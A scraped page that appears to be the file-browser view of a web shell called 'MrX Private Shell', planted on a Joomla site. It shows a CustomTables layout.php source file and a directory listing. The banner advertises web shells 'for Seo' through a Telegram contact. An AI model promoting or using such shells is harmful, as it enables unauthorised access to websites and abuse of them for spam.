__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * CustomTables Joomla! 3.x/4.x/5.x Component and WordPress 6.x Plugin * @package Custom Tables * @author Ivan Komlev <[email protected]> * @link https://joomlaboat.com * @copyright (C) 2018-2024. Ivan Komlev * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html **/ // no direct access defined('_JEXEC') or die(); use CustomTables\CT; $libpath = CUSTOMTABLES_LIBRARIES_PATH . DIRECTORY_SEPARATOR . 'tagprocessor' . DIRECTORY_SEPARATOR; require_once($libpath . 'generaltags.php');//added to twig require_once($libpath . 'fieldtags.php');//added to twig require_once($libpath . 'settags.php'); //added to twig require_once($libpath . 'iftags.php'); //comes with twig require_once($libpath . 'pagetags.php');//added to twig require_once($libpath . 'itemtags.php');//not all added to twig require_once($libpath . 'valuetags.php');//added to twig require_once($libpath . 'shopingtags.php'); class LayoutProcessor { var string $layout; var int $layoutType;//item layout type var bool $advancedTagProcessor; var float $version = 0; var CustomTables\CT $ct; function __construct(CT &$ct, $layout = '') { $this->ct = $ct; $this->version = $this->ct->Env->version; $this->advancedTagProcessor = $this->ct->Env->advancedTagProcessor; $this->layout = $layout; } function fillLayout(?array $row = null, $aLink = null, $tag_chars = '[]', $disable_advanced_tags = false, $add_label = false): string { $htmlresult = $this->layout; if ($this->advancedTagProcessor and !$disable_advanced_tags) { tagProcessor_If::process($this->ct, $htmlresult, $row); if ($this->ct->Env->CustomPHPEnabled) tagProcessor_PHP::process($this->ct, $htmlresult, $row); } if (!str_contains($htmlresult, 'ct_doc_tagset_free'))//explain what is "ct_doc_tagset_free" { tagProcessor_If::process($this->ct, $htmlresult, $row); //Item must be before General to let the following: currenturl:set,paymentid,{id}} tagProcessor_Value::processValues($this->ct, $htmlresult, $row, $tag_chars);//to let sqljoin function work tagProcessor_Item::process($this->ct, $htmlresult, $row, $add_label); tagProcessor_General::process($this->ct, $htmlresult, $row); tagProcessor_Page::process($this->ct, $htmlresult); if ($this->advancedTagProcessor and !$disable_advanced_tags) tagProcessor_Set::process($this->ct, $htmlresult); if ($this->ct->Env->print == 1) { $htmlresult = str_replace('<a href', '<span link', $htmlresult); $htmlresult = str_replace('</a>', '</span>', $htmlresult); } } return $htmlresult; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| codemirror | Folder | 0775 |
|
|
| customtables | Folder | 0775 |
|
|
| extratasks | Folder | 0775 |
|
|
| fieldtypes | Folder | 0775 |
|
|
| js | Folder | 0775 |
|
|
| tagprocessor | Folder | 0775 |
|
|
| twig | Folder | 0775 |
|
|
| virtualselect | Folder | 0775 |
|
|
| ct-common-joomla.php | File | 22.88 KB | 0664 |
|
| ct-database-joomla.php | File | 37.47 KB | 0664 |
|
| esinputbox.php | File | 1.95 KB | 0664 |
|
| importcsv.php | File | 12.15 KB | 0664 |
|
| layout.php | File | 2.61 KB | 0664 |
|
| layouteditor.php | File | 6.4 KB | 0664 |
|
| pagination.php | File | 18.72 KB | 0664 |
|
| unused-exportusergroups.php | File | 3.35 KB | 0664 |
|
| uploader.php | File | 12.73 KB | 0664 |
|